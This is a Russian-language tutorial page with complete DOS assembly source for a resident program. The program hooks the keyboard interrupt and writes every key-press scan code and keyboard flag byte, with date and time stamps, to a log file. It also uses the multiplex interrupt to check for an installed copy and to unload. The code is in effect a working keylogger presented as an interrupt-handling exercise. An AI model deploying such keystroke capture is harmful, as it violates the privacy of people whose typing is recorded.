Обработчик мультиплексорного прерывания




Процедура new_2fh перехватит прерывание 2Fh, и если прерывание вызвано вместе с функцией F1h, то в зависимости от подфункции значение которой находится в AL выполнит следующие действия:

1. Если подфункция находящаяся в AL=00h (код наличия в памяти нашего обработчика), то наш обработчик возвратит в AL=FFh и выйдет из прерывания.

cmp al,00h

je inst

inst: mov al,0ffh

iret

2. Если подфункция находящаяся в AL=01h (команда на удаление из памяти обработчика), то сохраним используемые регистры, вызовем процедуру fil (работа этой процедуры была описана выше), а затем освободим блоки памяти занятые нашим обработчиком, восстановим старые векторы 09h и 2Fh. Восстановим использовавшиеся регистры и выйдем из прерывания.

Если мультиплексорное прерывание было вызвано с другой функцией либо с нашей функцией но с другими подфункциями, то обработчик передаст управление следующему по цепочке обработчику мультиплексорного прерывания.

cmp ah,0f1h

jne out_2fh

cmp al,00h

je inst

cmp al,01h

je off

jmp short out_2fh

inst: mov al,0ffh

iret

out_2fh:

 

Листинг программы

 

text segment 'code'

assume cs:text,ds:text

org 256

main proc

jmp init

; Поля данных резидентной секции

old_2fh dd 0; Ячейка для сохранения системного вектора 2Fh

old_09h dd 0; Ячейка для сохранения системного вектора 09h

bufer db 34 dup(?); Буфер для скэн-кодов и флагов клавиатуры

sch db 0; Счётчик нажатий клавиш

filename db 's_code&f.txt',0; Константа содержащая имя файла с которым работает программа

; Обработчик от клавиатуры

new_09h proc

; Сохраним используемые регистры

push ax

push bx

push cx

push dx

push ds

push cs; Настроим DS на наш сегмент для простоты программирования

pop ds

in al,60h; Получим скэн-код клавиши

cmp al,80h; Проверим, является ли скэн-код кодом нажатия

ja exit; Нет – на выход

mov bh,0; 0®BH

mov bl,sch; Текущее значения счётчика в BL

mov [bufer+bx],al; Запишем в буфер скэн-код клавиши

inc bl; Увеличим смещение буфера

push es; Сохраним регистр ES

mov ax,40h; Настроим ES на начало области данных BIOS

mov es,ax

mov al,es:[17h]; Занесём байт флагов клавиатуры в AL

pop es; Восстановим ES

mov [bufer+bx],al; Запишем байт флагов в буфер

inc bl; Увеличим смещение на 1

add sch,2; Счётчик нажатий +2

cmp sch,32; Пора скидывать буфер в файл?

je go; Да – на процедуру записи в файл

jmp exit; Нет – на выход

go: call fil; Вызов процедуры записи в файл

; Восстановим использовавшиеся регистры

exit: pop ds

pop dx

pop cx

pop bx

pop ax

jmp cs:old_09h; Передадим управление системному обработчику “int09h”

new_09h endp; Конец процедуры обработчика от клавиатуры

; Процедура записи в файл скэн-кодов и флагов клавиатуры

fil proc

push cs; Настроим DS на наш сегмент

pop ds

mov ah,3dh; Функция открытия файла

mov al,1; для записи

mov dx,offset filename; DS:DX ASCIIZ имени файла

int 21h

mov bx,ax; Дескриптор в ВХ

xor cx,cx; Отчистим СХ

xor dx,dx; и DX

mov ax,4202h; Функция установки указателя в конец файла

int 21h

mov ah,40h; Функция записи в файл

mov cl,sch; CL количество байт

mov dx,offset bufer; DS:DX адрес буфера

int 21h

mov ah,3eh; Функция закрытия файла

int 21h

mov sch,0; Обнулим счётчик

ret; Выход из процедуры

fil endp; Конец процедуры записи в файл

; Обработчик мультиплексорного прерывания

new_2fh proc

cmp ah,0f1h; Проверим номер функции мультиплексорного прерывания

jne out_2fh; Не наша – на выход

cmp al,00h; Подфункция проверки на повторную установку?

je inst; Да, сообщим о невозможности повторной установки

cmp al,01h; Подфункция выгрузки?

je off; Да – на выгрузку

jmp short out_2fh; Неизвестная подфункция, на выход

inst: mov al,0ffh; Программа уже установлена

iret; Выход из прерывания

out_2fh:

jmp cs:old_2fh; Переход в следующий по цепочке обработчик прерывания 2Fh

; Выгрузим программу из памяти, предварительно восстановив все перехваченные ею векторы

; Сохраним используемые регистры

off: push ds

push es

push dx

push ax

push bx

push cx

call fil; Вызов процедуры записи в файл содержимого буфера

; Восстановим использовавшиеся регистры

pop cx

pop bx

pop ax

; Восстановим вектор 09h

mov ax,2509h; Функция установки вектора

lds dx,cs:old_09h; Заполним DS:DX

int 21h

; Восстановим вектор 2fh

mov ax,252fh; Функция установки вектора

lds dx,cs:old_2fh; Заполним DS:DX

int 21h

; Получим из PSP адрес собственного окружения и выгрузим его

mov es,cs:2ch; ES ® окружение

mov ah,49h; Функция освобождения блока памяти

int 21h

; Выгрузим теперь саму программу

push cs; Загрузим в ES содержимое CS, т.е. сегментный адрес PSP

pop es

mov ah,49h; Функция освобождения блока памяти

int 21h

; Восстановим использовавшиеся регистры

pop dx

pop es

pop ds

iret; Возврат в вызвавшую программу

new_2fh endp; Конец процедуры обработки прерывания 2Fh

end_res=$; Смещение конца резидентной части программы

main endp

tail db 'off'; Ожидаемый хвост команды

flag db 0; Флаг требования выгрузки

tabl db '0123456789'; Таблица для перевода BCD кода в ASCII

time db 25 dup(?); Ячейка для сохранения текущей даты и времени

; Процедура создания файла

div_f proc

mov ah,3ch; Функция создания файла

mov cx,0; Без атрибутов

lea dx,filename; DS:DX ASCIIZ имени файла

 

int 21h

mov bx,ax; Дескриптор в ВХ

mov ah,40h; Функция записи в файл

mov cx,buflen; CХ количество байт

lea dx,buf; DS:DX адрес строки

int 21h

mov ah,3eh; Функция закрытия файла

int 21h

ret; Выход из процедуры

div_f endp; Конец процедуры создания файла

; Процедура открытия файла и записи в него текущей даты и времени

div2_f proc

mov [time],0ah; Запись в переменную time маркеров

mov [time+1],0dh; перехода на следующую строку

mov ah,3dh; Функция открытия файла

mov al,1; для записи

mov dx,offset filename; DS:DX ASCIIZ имени файла

int 21h

mov bx,ax; Дескриптор в ВХ

push bx; Сохраним дескриптор

xor cx,cx; Отчистим СХ

xor dx,dx; и DX

mov ax,4202h; Функция установки указателя в конец файла

int 21h

mov ah,02h; Функция чтения времени из «постоянных» «CMOS» часов реального времени

int 1ah; Прерывание ввода – вывода для времени

mov bx,offset tabl; DS:DX адрес таблицы

mov si,2; Установим смещение для переменной time

mov ax,cx; Часы и минуты сохраним в AX

mov cx,12; Установим счётчик сдвига

next: push ax; Сохраним AX

shr ax,cl; Сдвинем AX на CL

and al,0fh; Получим номер ячейки в таблице прибавив маску

xlat; Получим ASCII код числа

mov [time+si],al; Занесём его в переменную time

inc si; Увеличим на 1 смещение

cmp si,4; Смещение = 4?

je ras; Да, переход на метку ras

vw: sub cl,4; Нет, уменьшим CL на 4

pop ax; Восстановим AX

cmp cl,-4; Сравним CL с -4

jne next; Не равно – выполним ещё раз

jmp ent1; Равно – переход на ent1

ras: mov [time+si],':'; Запишем в переменную time – «:»

inc si; Увеличим на 1 смещение

jmp vw; Перейдём на метку vw

ent1: mov [time+si],' '; Запишем в переменную time – «»

inc si; Увеличим на 1 смещение

mov ah,04h; Функция чтения даты из «постоянных» «CMOS» часов реального времени

int 1ah; Прерывание ввода – вывода для времени

mov ax,dx; Дату сохраним в AX

mov cx,12; Установим счётчик сдвига

next1: push ax; Сохраним AX

shr ax,cl; Сдвинем AX на CL

and al,0fh; Получим номер ячейки в таблице прибавив маску

xlat; Получим ASCII код числа

mov [time+si],al; Занесём его в переменную time

inc si; Увеличим на 1 смещение

cmp si,10; Смещение = 10?

je ras1; Да, переход на метку ras1

vw1: sub cl,4; Нет, уменьшим CL на 4

pop ax; Восстановим AX

cmp cl,-4; Сравним CL с -4

jne next1; Не равно – выполним ещё раз

jmp ent2; Равно – переход на ent2

ras1: mov [time+si],'.'; Запишем в переменную time – «.»

inc si; Увеличим на 1 смещение

jmp vw1; Перейдём на метку vw1

ent2: mov [time+si],0ah; Запись в переменную time маркеров

mov [time+si+1],0dh; перехода на следующую строку

pop bx; Восстановим дескриптор

mov ah,40h; Функция записи в файл

mov cx,20; CХ количество байт

mov dx,offset time; DS:DX адрес строки

int 21h

mov ah,3eh; Функция закрытия файла

int 21h

ret; Выход из процедуры

div2_f endp; Конец процедуры подготовки файла

; Процедура инициализации

init proc

mov cl,es:80h; Получим длину хвоста PSP

cmp cl,0; Длина хвоста = 0?

je live; Да программа запущена без параметров

xor ch,ch; Теперь CX=CL=длина хвоста

mov di,81h; DS:SI ® хвост в PSP

lea si,tail; DS:SI ® поле tail

mov al,' '; Уберём пробелы из начала хвоста

repe scasb; Сканируем хвост, пока пробелы

dec di; DI ® первый символ после пробелов

mov cx,3; Ожидаемая длина параметра

repe cmpsb; Сравниваем введённый хвост с ожидаемым

jne live; Введена неизвестная команда

inc flag; Введено «off», установим флаг запроса на выгрузку

; Проверим, не установлена ли уже данная программа

live: mov ah,0f1h; Установим нашу функцию

mov al,0; и подфункцию на наличие нашей программы в оперативной памяти

int 2fh

cmp al,0ffh; Программа установлена?

je installed; Да, при наличии запроса на выгрузку её можно выгрузить

; Сохраним вектор 2fh

mov ax,352fh; Функция получения вектора 2fh

int 21h

mov word ptr cs:old_2fh,bx; Сохраним смещение системного обработчика

mov word ptr cs:old_2fh+2,es; Сохраним сегмент системного обработчика

; Заполним вектор 2fh

mov ax,252fh; Функция установления вектора прерывания 2fh

mov dx,offset new_2fh; Смещение нашего обработчика

int 21h

; Сохраним вектор 09h

mov ax,3509h; Функция получения вектора 09h

int 21h

mov word ptr cs:old_09h,bx; Сохраним смещение системного обработчика

mov word ptr cs:old_09h+2,es; Сохраним сегмент системного обработчика

; Заполним вектор 09h

mov ax,2509h; Функция установления вектора прерывания 09h

mov dx,offset new_09h; Смещение нашего обработчика

int 21h

mov ah,4eh; Функция поиска файла

lea dx,filename; DS:DX ASCIIZ имени файла

int 21h

cmp ax,12h; Файл не найден?

je creat; Да, создадим файл

call div2_f; Нет, вызов процедуры открытия файла и записи в него текущей даты и времени

jmp by; Переход на метку by

creat: call div_f; Вызов процедуры создания файла

; Выведем на экран информационное сообщение

by: mov ah,09h; Функция вывода на экран

lea dx,mes; DS:DX адрес строки

int 21h

mov ax,3100h; Функция «завершиться и остаться резидентным»

mov dx,(end_res-main+10fh)/16; Размер в параграфах

int 21h

installed:

cmp flag,1; Запрос на выгрузку установлен?

je unins; Да, на выгрузку

; Выведем на экран информационное сообщение

mov ah,09h; Функция вывода на экран

lea dx,mes1; DS:DX адрес строки

int 21h

; Выведем предупреждающий звуковой сигнал

mov cx,5; Количество гудков

mov ah,02h; Функция вывода на экран

l: mov dl,07h; ASCII код зуммера

int 21h

loop l; Повторим CX раз

mov ax,4c01h; Функция завершения с кодом возврата

int 21h

unins:

; Перешлём в первую (резидентную) копию программы запрос на выгрузку

mov ax,0f101h; Наша функция с подфункцией выгрузки

int 2fh; Мультиплексное прерывание

; Выведем на экран информационное сообщение

mov ah,09h; Функция вывода на экран

lea dx,mes2; DS:DX адрес строки

int 21h

mov ax,4c00h; Функция завершения программы

int 21h

buf db 'Skencode&Klav_flag file',0ah,0dh

buflen equ $-buf

mes db 'Program installed$'

mes1 db 'Program already installed$'

mes2 db 'Program is DIE$'

init endp

text ends

end main

 

 



Поделиться:




Поиск по сайту

©2015-2024 poisk-ru.ru
Все права принадлежать их авторам. Данный сайт не претендует на авторства, а предоставляет бесплатное использование.
Дата создания страницы: 2019-06-03 Нарушение авторских прав и Нарушение персональных данных


Поиск по сайту: